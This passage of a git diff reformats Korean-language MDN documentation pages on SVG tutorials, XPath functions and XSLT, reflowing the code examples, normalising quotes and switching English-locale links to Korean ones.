index c85964de7de457..1f0fa04409de00 100644
--- a/files/ko/web/svg/tutorial/getting_started/index.md
+++ b/files/ko/web/svg/tutorial/getting_started/index.md
@@ -32,9 +32,9 @@ slug: Web/SVG/Tutorial/Getting_Started
 
 1. SVG 루트 요소(Element)부터 시작합니다.
 
-    - DTD기반의 SVG유효성 검사는 해결할 수 있는 것보다 많은 문제를 야기하기 때문에 (X)HTML로 알려진 Doctype 선언은 사용하지 않습니다.
-    - 다른 유형의 유효성 검사를 위해 SVG버전을 식별하려면 항상 version과 baseProfile 속성(Attribute)을 사용해야 합니다.
-    - XML 특수언어(dialect)로서 SVG는 (xmlsn 속성에서) 항상 네임 스페이스(namespace)를 올바르게 바인딩 해야합니다. 자세한 내용은[네임 스페이스 충돌 과정](/ko/docs/Web/SVG/Namespaces_Crash_Course) 페이지를 참조하십시오.
+   - DTD기반의 SVG유효성 검사는 해결할 수 있는 것보다 많은 문제를 야기하기 때문에 (X)HTML로 알려진 Doctype 선언은 사용하지 않습니다.
+   - 다른 유형의 유효성 검사를 위해 SVG버전을 식별하려면 항상 version과 baseProfile 속성(Attribute)을 사용해야 합니다.
+   - XML 특수언어(dialect)로서 SVG는 (xmlsn 속성에서) 항상 네임 스페이스(namespace)를 올바르게 바인딩 해야합니다. 자세한 내용은[네임 스페이스 충돌 과정](/ko/docs/Web/SVG/Namespaces_Crash_Course) 페이지를 참조하십시오.
 
 2. 전체 이미지 영역을 포함하는 사각형 \<rect />을 그려 배경을 빨간색으로 설정합니다.
 3. 빨간색 직사각형의 중앙에 반경 80px의 녹색 원 \<circle />이 그려집니다
diff --git a/files/ko/web/svg/tutorial/patterns/index.md b/files/ko/web/svg/tutorial/patterns/index.md
index f6e584b4ea62ee..787254c927c9ff 100644
--- a/files/ko/web/svg/tutorial/patterns/index.md
+++ b/files/ko/web/svg/tutorial/patterns/index.md
@@ -2,6 +2,7 @@
 title: 패턴
 slug: Web/SVG/Tutorial/Patterns
 ---
+
 {{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}
 
 ## 패턴
@@ -12,22 +13,27 @@ slug: Web/SVG/Tutorial/Patterns
 <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
   <defs>
     <linearGradient id="Gradient1">
-      <stop offset="5%" stop-color="white"/>
-      <stop offset="95%" stop-color="blue"/>
+      <stop offset="5%" stop-color="white" />
+      <stop offset="95%" stop-color="blue" />
     </linearGradient>
     <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
-      <stop offset="5%" stop-color="red"/>
-      <stop offset="95%" stop-color="orange"/>
+      <stop offset="5%" stop-color="red" />
+      <stop offset="95%" stop-color="orange" />
     </linearGradient>
 
     <pattern id="Pattern" x="0" y="0" width=".25" height=".25">
-      <rect x="0" y="0" width="50" height="50" fill="skyblue"/>
-      <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/>
-      <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/>
+      <rect x="0" y="0" width="50" height="50" fill="skyblue" />
+      <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)" />
+      <circle
+        cx="25"
+        cy="25"
+        r="20"
+        fill="url(#Gradient1)"
+        fill-opacity="0.5" />
     </pattern>
   </defs>
 
-  <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/>
+  <rect fill="url(#Pattern)" stroke="black" width="200" height="200" />
 </svg>
 ```
 
diff --git a/files/ko/web/svg/tutorial/positions/index.md b/files/ko/web/svg/tutorial/positions/index.md
index 5ab86d750e46b6..7ff5225053bf21 100644
--- a/files/ko/web/svg/tutorial/positions/index.md
+++ b/files/ko/web/svg/tutorial/positions/index.md
@@ -9,7 +9,7 @@ slug: Web/SVG/Tutorial/Positions
 
 ![가운데가 파란색 상자로 표시된 X, Y 좌표 격자](canvas_default_grid.png)모든 요소(Element)에 대해 SVG는 [캔버스](/en/HTML/Canvas)를 포함한 컴퓨터에서 무언가 그리고자 할때 많이 사용되는 것과 유사한 좌표계 또는 그리드 시스템을 사용합니다. 즉, 문서의 왼쪽 위 모서리는 (0,0)으로 간주되며 한 지점의 위치는 왼쪽 상단 모서리에서 픽셀 단위로 표시되고 X축의 양의 방향은 오른쪽, Y축의 양의 방향은 아래쪽으로 향하게됩니다. 어린시절 배웠던 그래프와는 반대라는 점을 기억하세요. 그러나 이것은 HTML의 요소가 배치되는 것과는 같은 방법입니다 (기본적으로 LTR 문서는 X를 오른쪽에서 왼쪽으로 배치하는 RTL 문서가 아닙니다).
 
-#### 예제:
+#### 예제
 
 아래 요소는
 
diff --git a/files/ko/web/svg/tutorial/svg_image_tag/index.md b/files/ko/web/svg/tutorial/svg_image_tag/index.md
index ba7290f4c15c5b..8026910fa8a433 100644
--- a/files/ko/web/svg/tutorial/svg_image_tag/index.md
+++ b/files/ko/web/svg/tutorial/svg_image_tag/index.md
@@ -2,6 +2,7 @@
 title: SVG 이미지 요소
 slug: Web/SVG/Tutorial/SVG_Image_Tag
 ---
+
 {{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}
 
 SVG {{ SVGElement("image") }} 요소는 비트맵 이미지를 SVG 객체와 함께 표시할 수 있도록 해 준다.
diff --git a/files/ko/web/tutorials/index.md b/files/ko/web/tutorials/index.md
index 73b7e74d8a2a6b..1ebcf99fd55510 100644
--- a/files/ko/web/tutorials/index.md
+++ b/files/ko/web/tutorials/index.md
@@ -2,6 +2,7 @@
 title: 학습서
 slug: Web/Tutorials
 ---
+
 이 페이지에는 다양한 학습서 및 교육 자료에 대한 링크가 있습니다. 여러분이 웹 개발을 이제 시작하는 사람이든지, 기초를 공부하는 사람이든지, 이미 개발을 해본 사람이든지 모범 사례에 대한 유용한 자료를 찾으실 수 있습니다. 이들 자료는 웹 개발의 개방형 표준 및 모범 사례를 채택한 미래 지향적 기업 및 웹 개발자가 창작한 것으로서 Creative Commons 등의 개방형 콘텐트 라이선스를 통해 번역을 제공 또는 허용합니다.
 
 ## 웹입문자를 위하여
diff --git a/files/ko/web/xml/index.md b/files/ko/web/xml/index.md
index 2a9f56a5dadc84..01386661a7a87c 100644
--- a/files/ko/web/xml/index.md
+++ b/files/ko/web/xml/index.md
@@ -1,8 +1,9 @@
 ---
-title: 'XML: Extensible Markup Language'
+title: "XML: Extensible Markup Language"
 slug: Web/XML
 ---
-{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}
+
+{{QuickLinksWithSubpages("/ko/docs/Web/XML")}}
 
 **확장가능한 마크업 언어(XML)는** 엄격하게 직렬화 된 DOM(돔 오브젝트 모델)입니다.
 
diff --git a/files/ko/web/xpath/axes/index.md b/files/ko/web/xpath/axes/index.md
index 1e784477536e9b..9ce46c5fceffa2 100644
--- a/files/ko/web/xpath/axes/index.md
+++ b/files/ko/web/xpath/axes/index.md
@@ -2,6 +2,7 @@
 title: Axes
 slug: Web/XPath/Axes
 ---
+
 {{ XsltRef() }} [XPath](/ko/XPath) 명세에는 축이 13가지가 있습니다. 축은 문맥 노드와의 관계를 나타내고 트리 위에 문맥 노드에 대응하여 노드를 위치시킬 때 씁니다. 다음은 이용가능한 축 13가지와 [Gecko](/ko/Gecko)에서 가능한 지원 정도에 대한 매우 짧은 설명입니다.
 
 XPath 식 사용에 관한 추가 정보는, [Transforming XML with XSLT](/ko/Transforming_XML_with_XSLT) 문서 끝 [For Further Reading](/ko/Transforming_XML_with_XSLT/For_Further_Reading) 절을 보세요.
diff --git a/files/ko/web/xpath/functions/ceiling/index.md b/files/ko/web/xpath/functions/ceiling/index.md
index 52a1b785188a5a..4d7c817ac38071 100644
--- a/files/ko/web/xpath/functions/ceiling/index.md
+++ b/files/ko/web/xpath/functions/ceiling/index.md
@@ -2,6 +2,7 @@
 title: ceiling
 slug: Web/XPath/Functions/ceiling
 ---
+
 {{ XsltRef() }}
 
 `ceiling` 함수는 10진수를 평가하고 10진수보다 작지 않은 가장 작은 정수를 반환합니다.
diff --git a/files/ko/web/xpath/functions/document/index.md b/files/ko/web/xpath/functions/document/index.md
index e57de2644b8704..1cb2a12c60a8f5 100644
--- a/files/ko/web/xpath/functions/document/index.md
+++ b/files/ko/web/xpath/functions/document/index.md
@@ -2,6 +2,7 @@
 title: document
 slug: Web/XPath/Functions/document
 ---
+
 {{ XsltRef() }}
 
 `document` 함수는 하나 또는 여러 외부 문서에서 노드 집합을 찾고 결과 노드 집합을 반환합니다.
diff --git a/files/ko/web/xpath/functions/false/index.md b/files/ko/web/xpath/functions/false/index.md
index 6e66c7ee7e8939..88a32c9317652e 100644
--- a/files/ko/web/xpath/functions/false/index.md
+++ b/files/ko/web/xpath/functions/false/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'false'
+title: "false"
 slug: Web/XPath/Functions/false
 ---
 
diff --git a/files/ko/web/xpath/functions/format-number/index.md b/files/ko/web/xpath/functions/format-number/index.md
index 1bb12348cf0567..61f14069b9ec26 100644
--- a/files/ko/web/xpath/functions/format-number/index.md
+++ b/files/ko/web/xpath/functions/format-number/index.md
@@ -2,6 +2,7 @@
 title: format-number
 slug: Web/XPath/Functions/format-number
 ---
+
 {{ XsltRef() }}
 
 `format-number` 함수는 수를 평가하고 제공한 형식으로 그 수를 나타내는 문자열을 반환합니다.
diff --git a/files/ko/web/xpath/functions/id/index.md b/files/ko/web/xpath/functions/id/index.md
index 5946d2e92c8b32..241edec5e7e411 100644
--- a/files/ko/web/xpath/functions/id/index.md
+++ b/files/ko/web/xpath/functions/id/index.md
@@ -2,6 +2,7 @@
 title: id
 slug: Web/XPath/Functions/id
 ---
+
 {{ XsltRef() }}
 
 `id` 함수는 인수로 준 id와 일치하는 노드를 찾아 그 식별된 노드를 포함하는 노드 집합을 반환합니다.
@@ -15,6 +16,7 @@ id(expression )
 ### 인수
 
 - `expression`
+
   - : 만약 `expression`이 노드 집합이면, 노드 집합 안 각 노드의 문자열 값은 개별 id로 다룹니다. 반환하는 노드 집합은 그 id와 대응하는 노드입니다.
 
 - 만약 `expression`
diff --git a/files/ko/web/xpath/functions/index.md b/files/ko/web/xpath/functions/index.md
index 39919d12b3ff27..487bf4fce0d1cd 100644
--- a/files/ko/web/xpath/functions/index.md
+++ b/files/ko/web/xpath/functions/index.md
@@ -2,6 +2,7 @@
 title: Functions
 slug: Web/XPath/Functions
 ---
+
 {{ XsltRef() }} 다음은 설명, 문법, 인수 목록, 결과형, 해당 W3C 권고안 소스, 현 [Gecko](/ko/Gecko) 지원 정도를 포함하는 기본 [XPath](/ko/XPath) 함수와 XPath에 더해진 [XSLT](/ko/XSLT) 고유의 추가분에 주석을 단 목록입니다. XPath/XSLT 함수 사용에 관한 추가 정보는, [For Further Reading](/ko/Transforming_XML_with_XSLT/For_Further_Reading) 페이지를 봐 주세요.
 
 - [boolean()](Functions/boolean)
diff --git a/files/ko/web/xpath/functions/name/index.md b/files/ko/web/xpath/functions/name/index.md
index 0c263b8d07cac0..caccf9bd883afa 100644
--- a/files/ko/web/xpath/functions/name/index.md
+++ b/files/ko/web/xpath/functions/name/index.md
@@ -2,6 +2,7 @@
 title: name
 slug: Web/XPath/Functions/name
 ---
+
 {{ XsltRef() }}
 
 `name` 함수는 인수로 준 노드 집합 안 첫 노드의 QName을 나타내는 문자열을 반환합니다.
diff --git a/files/ko/web/xpath/functions/position/index.md b/files/ko/web/xpath/functions/position/index.md
index d732959fb670bd..a28f615258ac51 100644
--- a/files/ko/web/xpath/functions/position/index.md
+++ b/files/ko/web/xpath/functions/position/index.md
@@ -2,6 +2,7 @@
 title: position
 slug: Web/XPath/Functions/position
 ---
+
 {{ XsltRef() }}
 
 `position` 함수는 식 평가 문맥(expression evaluation context)와 위치가 같은 숫자를 반환합니다.
diff --git a/files/ko/web/xpath/functions/starts-with/index.md b/files/ko/web/xpath/functions/starts-with/index.md
index 5dffe39d57b607..dbba28ff4dfd12 100644
--- a/files/ko/web/xpath/functions/starts-with/index.md
+++ b/files/ko/web/xpath/functions/starts-with/index.md
@@ -2,6 +2,7 @@
 title: starts-with
 slug: Web/XPath/Functions/starts-with
 ---
+
 {{ XsltRef() }}
 
 `starts-with` 함수는 첫 번째 문자열이 두 번째 문자열로 시작하는 지를 확인한 뒤 true나 false를 반환합니다.
diff --git a/files/ko/web/xpath/functions/substring-after/index.md b/files/ko/web/xpath/functions/substring-after/index.md
index e8a1d65cfe571f..200e4e35b306ec 100644
--- a/files/ko/web/xpath/functions/substring-after/index.md
+++ b/files/ko/web/xpath/functions/substring-after/index.md
@@ -2,6 +2,7 @@
 title: substring-after
 slug: Web/XPath/Functions/substring-after
 ---
+
 {{ XsltRef() }}
 
 `substring-after` 함수는 첫 번째 인수에서 두 번째 인수가 나타난 다음의 나머지를 반환합니다.
diff --git a/files/ko/web/xpath/functions/substring-before/index.md b/files/ko/web/xpath/functions/substring-before/index.md
index e4583eccce3211..89995ca76f1132 100644
--- a/files/ko/web/xpath/functions/substring-before/index.md
+++ b/files/ko/web/xpath/functions/substring-before/index.md
@@ -2,6 +2,7 @@
 title: substring-before
 slug: Web/XPath/Functions/substring-before
 ---
+
 {{ XsltRef() }}
 
 `substring-before` 함수는 첫 번째 인수에서 두 번째 인수가 나타난 앞의 나머지를 반환합니다.
diff --git a/files/ko/web/xpath/functions/system-property/index.md b/files/ko/web/xpath/functions/system-property/index.md
index dda6d6138e298e..aa3e3608080302 100644
--- a/files/ko/web/xpath/functions/system-property/index.md
+++ b/files/ko/web/xpath/functions/system-property/index.md
@@ -2,6 +2,7 @@
 title: system-property
 slug: Web/XPath/Functions/system-property
 ---
+
 {{ XsltRef() }}
 
 `system-property` 함수는 인수로 준 시스템 속성을 나타내는 개체를 반환합니다.
diff --git a/files/ko/web/xpath/functions/translate/index.md b/files/ko/web/xpath/functions/translate/index.md
index 106b8e4467e1de..7b4c1e40326e5c 100644
--- a/files/ko/web/xpath/functions/translate/index.md
+++ b/files/ko/web/xpath/functions/translate/index.md
@@ -2,6 +2,7 @@
 title: translate
 slug: Web/XPath/Functions/translate
 ---
+
 {{ XsltRef() }}
 
 `translate` 함수는 문자열과 번역할 문자 집합을 평가하고 번역된 문자열을 반환합니다.
diff --git a/files/ko/web/xpath/functions/true/index.md b/files/ko/web/xpath/functions/true/index.md
index 3f9f683b631421..33d1db5d33c608 100644
--- a/files/ko/web/xpath/functions/true/index.md
+++ b/files/ko/web/xpath/functions/true/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'true'
+title: "true"
 slug: Web/XPath/Functions/true
 ---
 
diff --git a/files/ko/web/xpath/index.md b/files/ko/web/xpath/index.md
index 3a3f93d81a0165..830bd3d6d0882b 100644
--- a/files/ko/web/xpath/index.md
+++ b/files/ko/web/xpath/index.md
@@ -36,15 +36,15 @@ XPath는 XML 문서의 계층 구조를 항해하기 위해 경로 표기법(URL
 
 <section id="Quick_links">
   <ol>
-    <li><strong><a href="/en-US/docs/Web/XSLT">XSLT</a></strong></li><li><strong><a href="/en-US/docs/Web/EXSLT">EXSLT</a></strong></li>
-    <li><strong><a href="/en-US/docs/Web/XPath">XPath</a></strong></li>
+    <li><strong><a href="/ko/docs/Web/XSLT">XSLT</a></strong></li><li><strong><a href="/ko/docs/Web/EXSLT">EXSLT</a></strong></li>
+    <li><strong><a href="/ko/docs/Web/XPath">XPath</a></strong></li>
     <li class="toggle"><details open><summary>Guides</summary>
       <ol>
-        <li><a href="/en-US/docs/Web/XPath/Comparison_with_CSS_selectors">Comparison of CSS Selectors and XPath</a></li>
-        <li><a href="/en-US/docs/Web/XPath/Snippets">XPath snippets</a></li>
+        <li><a href="/ko/docs/Web/XPath/Comparison_with_CSS_selectors">Comparison of CSS Selectors and XPath</a></li>
+        <li><a href="/ko/docs/Web/XPath/Snippets">XPath snippets</a></li>
       </ol></details>
     </li>
-    <li class="toggle"><details open><summary><a href="/en-US/docs/Web/XPath/Axes">XPath Axes</a></summary>{{ListSubpagesForSidebar("/en-US/docs/Web/XPath/Axes")}}</details></li>
-    <li class="toggle"><details open><summary><a href="/en-US/docs/Web/XPath/Functions">XPath Functions</a></summary>{{ListSubpagesForSidebar("/en-US/docs/Web/XPath/Functions")}}</details></li>
+    <li class="toggle"><details open><summary><a href="/ko/docs/Web/XPath/Axes">XPath Axes</a></summary>{{ListSubpagesForSidebar("/ko/docs/Web/XPath/Axes")}}</details></li>
+    <li class="toggle"><details open><summary><a href="/ko/docs/Web/XPath/Functions">XPath Functions</a></summary>{{ListSubpagesForSidebar("/ko/docs/Web/XPath/Functions")}}</details></li>
   </ol>
 </section>
diff --git a/files/ko/web/xpath/introduction_to_using_xpath_in_javascript/index.md b/files/ko/web/xpath/introduction_to_using_xpath_in_javascript/index.md
index 31312d8686adc7..7196592643efb4 100644
--- a/files/ko/web/xpath/introduction_to_using_xpath_in_javascript/index.md
+++ b/files/ko/web/xpath/introduction_to_using_xpath_in_javascript/index.md
@@ -3,6 +3,7 @@ title: Introduction to using XPath in JavaScript
 slug: Web/XPath/Introduction_to_using_XPath_in_JavaScript
 original_slug: Introduction_to_using_XPath_in_JavaScript
 ---
+
 이 문서는 JavaScript 안, 확장기능, 웹사이트에서 [XPath](/ko/XPath)를 사용하기 위한 인터페이스를 설명합니다. Mozilla는 [DOM 3 XPath](http://www.w3.org/TR/DOM-Level-3-XPath/xpath.html)를 상당량 구현합니다. 이것은 XPath 식이 HTML과 XML 문서 모두에서 잘 돌아간다는 것을 뜻합니다.
 
 XPath를 사용하는 주 인터페이스는 [document](/ko/DOM/document) 개체의 [evaluate](/ko/DOM/document.evaluate) 함수입니다.
@@ -32,6 +33,7 @@ var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceReso
   - [`XPathEvaluator`](http://www.xulplanet.com/references/objref/XPathEvaluator.html) 개체의 [`createNSResolver`](/ko/DOM/document.createNSResolver) 메소드를 써서 [만듭니다](#Implementing_a_Default_Namespace_Resolver). 항상 가상으로 이를 쓰면 좋습니다.
   - HTML 문서를 위해서나 namespace 접두사가 없을 때 쓸 수 있는 `null`. 만약 `xpathExpression`가 namespace 접두사를 포함하면 이는 `NAMESPACE_ERR` 코드를 내는 `DOMException`을 가져옴을 유의하세요.
   - 사용자 정의 맞춤(custom) 함수. 세부 내용은 부록의 [사용자 정의 Namespace Resolver 쓰기](#Implementing_a_User_Defined_Namespace_Resolver) 절을 보세요.
+
 - `resultType`: 평가 결과로 반환되기 바랐던 결과 형을 지정하는 [상수](#XPathResult_Defined_Constants). 가장 흔히 넘겨주는 상수는 가장 자연스러운 형으로 XPath 식의 결과를 반환하는 `XPathResult.ANY_TYPE`입니다. 부록에 [쓸 수 있는 상수](#XPathResult_Defined_Constants) 목록 전체를 포함하는 절이 있습니다. 아래 [반환형 지정](#Specifying_the_Return_Type) 절에서 설명합니다.
 - `result`: 결과를 반환하는 데 재사용하는 기존 `XPathResult` 개체나 새 `XPathResult` 개체를 만드는 데 쓸 수 있는 `null` 가운데 하나.
 
@@ -50,10 +52,12 @@ var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ?
 Or alternatively by using the `createNSResolver` method of a `XPathEvaluator` object.
 
 ```js
-var xpEvaluator = new XPathEvaluator(); 
-var nsResolver = xpEvaluator.createNSResolver( 
-  contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement 
-  ); 
+var xpEvaluator = new XPathEvaluator();
+var nsResolver = xpEvaluator.createNSResolver(
+  contextNode.ownerDocument == null
+    ? contextNode.documentElement
+    : contextNode.ownerDocument.documentElement,
+);
 ```
 
 그리고 나서 `document.evaluate` 함수에 `namespaceResolver` 매개변수로 `nsResolver` 변수를 넘겨줍니다.
@@ -122,18 +126,23 @@ alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elem
 ###### 반복자 예
 
 ```js
-var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+var iterator = document.evaluate(
+  "//phoneNumber",
+  documentNode,
+  null,
+  XPathResult.UNORDERED_NODE_ITERATOR_TYPE,
+  null,
+);
 
 try {
   var thisNode = iterator.iterateNext();
 
   while (thisNode) {
-    alert( thisNode.textContent );
+    alert(thisNode.textContent);
     thisNode = iterator.iterateNext();
   }
-}
-catch (e) {
-  dump( 'Error: Document tree modified during iteraton ' + e );
+} catch (e) {
+  dump("Error: Document tree modified during iteraton " + e);
 }
 ```
 
@@ -151,11 +160,16 @@ Snapshot은 변환 문서로 바꾸지 않습니다. 그래서 반복자와는 
 ###### Snapshot 예
 
 ```js
-var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
-
-for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
-{
-  dump( nodesSnapshot.snapshotItem(i).textContent );
+var nodesSnapshot = document.evaluate(
+  "//phoneNumber",
+  documentNode,
+  null,
+  XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,
+  null,
+);
+
+for (var i = 0; i < nodesSnapshot.snapshotLength; i++) {
+  dump(nodesSnapshot.snapshotItem(i).textContent);
 }
 ```
 
@@ -173,9 +187,18 @@ for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
 ###### First Node 예
 
 ```js
-var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
-
-dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
+var firstPhoneNumber = document.evaluate(
+  "//phoneNumber",
+  documentNode,
+  null,
+  XPathResult.FIRST_ORDERED_NODE_TYPE,
+  null,
+);
+
+dump(
+  "The first phone number found is " +
+    firstPhoneNumber.singleNodeValue.textContent,
+);
 ```
 
 #### ANY_TYPE 상수
@@ -209,10 +232,10 @@ HTML이 namespace가 없기 때문에, 우리는 `namespaceResolver` 매개변
 ```js
 var thisHeading = headings.iterateNext();
 
-var alertText = 'Level 2 headings in this document are:\n'
+var alertText = "Level 2 headings in this document are:\n";
 
 while (thisHeading) {
-  alertText += thisHeading.textContent + '\n';
+  alertText += thisHeading.textContent + "\n";
   thisHeading = headings.iterateNext();
 }
 ```
@@ -251,9 +274,19 @@ req.send(null);
 
 var xmlDoc = req.responseXML;
 
-var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
-
-var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+var nsResolver = xmlDoc.createNSResolver(
+  xmlDoc.ownerDocument == null
+    ? xmlDoc.documentElement
+    : xmlDoc.ownerDocument.documentElement,
+);
+
+var personIterator = xmlDoc.evaluate(
+  "//person",
+  xmlDoc,
+  nsResolver,
+  XPathResult.ANY_TYPE,
+  null,
+);
 ```
 
 ## 부록
@@ -273,8 +306,8 @@ var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult
 ```js
 function nsResolver(prefix) {
   var ns = {
-    'xhtml' : 'http://www.w3.org/1999/xhtml',
-    'mathml': 'http://www.w3.org/1998/Math/MathML'
+    xhtml: "http://www.w3.org/1999/xhtml",
+    mathml: "http://www.w3.org/1998/Math/MathML",
   };
   return ns[prefix] || null;
 }
@@ -283,7 +316,13 @@ function nsResolver(prefix) {
 그러면 `document.evaluate` 호출은 다음과 같습니다.
 
 ```js
-document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+document.evaluate(
+  "//xhtml:td/mathml:math",
+  document,
+  nsResolver,
+  XPathResult.ANY_TYPE,
+  null,
+);
 ```
 
 #### XPathResult 정의 상수
diff --git a/files/ko/web/xslt/element/number/index.md b/files/ko/web/xslt/element/number/index.md
index 8177ada0181de2..fbbc21476710ed 100644
--- a/files/ko/web/xslt/element/number/index.md
+++ b/files/ko/web/xslt/element/number/index.md
@@ -32,6 +32,7 @@ original_slug: Web/XSLT/number
 - `count`
   - : 소스 트리에서 연속으로 셀 대상을 지정합니다. XPath 식을 씁니다.
 - `level`
+
   - : 일련번호를 만드는데 소스 트리의 수준을 어떻게 고려해야 하는 지를 정의합니다. 유효한 값은 `single`, `multiple`, `any` 세 가지. 기본값은 `single`입니다.
 
     - `single` 목록의 항목대로 연속으로 형제 노드를 번호 매깁니다. 처리기는 `count` 속성과 일치하는 [`ancestor-or-self`](/ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor-or-self) 축의 첫 번째 노드로 갑니다. 그리고 나서 역시 `count` 속성과 일치하는 앞선 형제(preceding siblings) 노드(있다면, 한 짝인 `from` 속성에 이르러 멈춤)를 모두 더하여 셉니다. 일치하지 않으면, sequence는 빈 목록입니다.
@@ -45,6 +46,7 @@ original_slug: Web/XSLT/number
 - value
   - : 숫자에 주어진 형식을 적용합니다. 이것이 사용자 제공 숫자(노드 sequence 숫자와는 반대로)를 표준 `<xsl:number>` 형식으로 구성하는 빠른 방법입니다.
 - format
+
   - : 만드는 숫자의 형식을 정의합니다.
 
     - format="1"
diff --git a/files/ko/web/xslt/index.md b/files/ko/web/xslt/index.md
index 5a866d496ce423..589db6cbb746fc 100644
--- a/files/ko/web/xslt/index.md
+++ b/files/ko/web/xslt/index.md
@@ -7,47 +7,47 @@ slug: Web/XSLT
 
 ## Documentation
 
-- [XSLT Element Reference](/en-US/docs/Web/XSLT/Element)
+- [XSLT Element Reference](/ko/docs/Web/XSLT/Element)
   - : Reference.
-- [Transforming XML with XSLT](/en-US/docs/Web/XSLT/Transforming_XML_with_XSLT)
+- [Transforming XML with XSLT](/ko/docs/Web/XSLT/Transforming_XML_with_XSLT)
   - : XSLT는 스타일시트 만든 이가 그러길 바란다면 컨텐트를 모조리 다시 정리하고 다른 형식으로 변환하는 것을 포함하는 컨텐트 조작(manipulating)과 정렬이라는 중요한 두 방식으로 본래 XML 문서를 변환하게 합니다.
-- [Using the Mozilla JavaScript interface to XSL Transformations](/en-US/docs/Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations)
+- [Using the Mozilla JavaScript interface to XSL Transformations](/ko/docs/Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations)
   - : 이 문서는 Mozilla 1.2의 자바스크립트 인터페이스와 XSLT 처리 엔진까지 설명합니다.
-- [Specifying parameters using processing instructions](/en-US/docs/Web/XSLT/PI_Parameters)
+- [Specifying parameters using processing instructions](/ko/docs/Web/XSLT/PI_Parameters)
   - : Firefox allows stylesheet parameters to be specified when using the `<?xml-stylesheet?>` processing instruction. This is done using the `<?xslt-param?>` PI described in this document.
 - [XSLT Tutorial](https://www.w3schools.com/xml/xsl_intro.asp)
   - : 이 [W3Schools](http://www.w3schools.com) 입문서는 읽는 이에게 XML 문서를 XHTML같은 다른 형식으로 변환하기 위해 어떻게 XSLT를 사용하는지를 가르칩니다.
 - [What is XSLT?](https://www.xml.com/pub/a/2000/08/holman/)
   - : XSLT와 XPath에 대한 이 방대한 해설은 두 기술에 대한 지식이 없다고 가정하고, 배경, 문맥, 구조, 개념, 입문 용어를 통해 읽는 이를 이끕니다.
-- [Common XSLT Errors](/en-US/docs/Web/XSLT/Common_errors)
+- [Common XSLT Errors](/ko/docs/Web/XSLT/Common_errors)
   - : This article lists some common problems using XSLT in Firefox.
 
 ## Related Topics
 
-- [XML](/en-US/docs/Web/XML/XML_introduction), [XPath](/en-US/docs/Web/XPath)
+- [XML](/ko/docs/Web/XML/XML_introduction), [XPath](/ko/docs/Web/XPath)
 
 <div id="Quick_links">
   <ol>
-    <li><strong><a href="/en-US/docs/Web/XSLT">XSLT</a></strong></li>
-    <li><strong><a href="/en-US/docs/Web/EXSLT">EXSLT</a></strong></li>
-    <li><strong><a href="/en-US/docs/Web/XPath">XPath</a></strong></li>
+    <li><strong><a href="/ko/docs/Web/XSLT">XSLT</a></strong></li>
+    <li><strong><a href="/ko/docs/Web/EXSLT">EXSLT</a></strong></li>
+    <li><strong><a href="/ko/docs/Web/XPath">XPath</a></strong></li>
     <li class="toggle">
       <details open>
         <summary>Guides</summary>
         <ol>
-          <li><a href="/en-US/docs/Web/XSLT/Common_errors">Common XSLT Errors</a></li>
-          <li><a href="/en-US/docs/Web/XSLT/PI_Parameters">PI Parameters</a></li>
-          <li><a href="/en-US/docs/Web/XSLT/XSLT_JS_interface_in_Gecko">The XSLT/JavaScript Interface in Gecko</a></li>
-          <li><a href="/en-US/docs/Web/XSLT/Transforming_XML_with_XSLT">Transforming XML with XSLT</a></li>
-          <li><a href="/en-US/docs/Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Using the
+          <li><a href="/ko/docs/Web/XSLT/Common_errors">Common XSLT Errors</a></li>
+          <li><a href="/ko/docs/Web/XSLT/PI_Parameters">PI Parameters</a></li>
+          <li><a href="/ko/docs/Web/XSLT/XSLT_JS_interface_in_Gecko">The XSLT/JavaScript Interface in Gecko</a></li>
+          <li><a href="/ko/docs/Web/XSLT/Transforming_XML_with_XSLT">Transforming XML with XSLT</a></li>
+          <li><a href="/ko/docs/Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Using the
               Mozilla JavaScript interface to XSL Transformations</a></li>
         </ol>
       </details>
     </li>
     <li class="toggle">
       <details open>
-        <summary><a href="/en-US/docs/XSLT/Element">XSLT Elements</a></summary>
-        {{ListSubpagesForSidebar("/en-US/docs/Web/XSLT/Element", "", "", "&lt;xsl:", "&gt;")}}
+        <summary><a href="/ko/docs/XSLT/Element">XSLT Elements</a></summary>
+        {{ListSubpagesForSidebar("/ko/docs/Web/XSLT/Element", "", "", "&lt;xsl:", "&gt;")}}
       </details>
     </li>
   </ol>
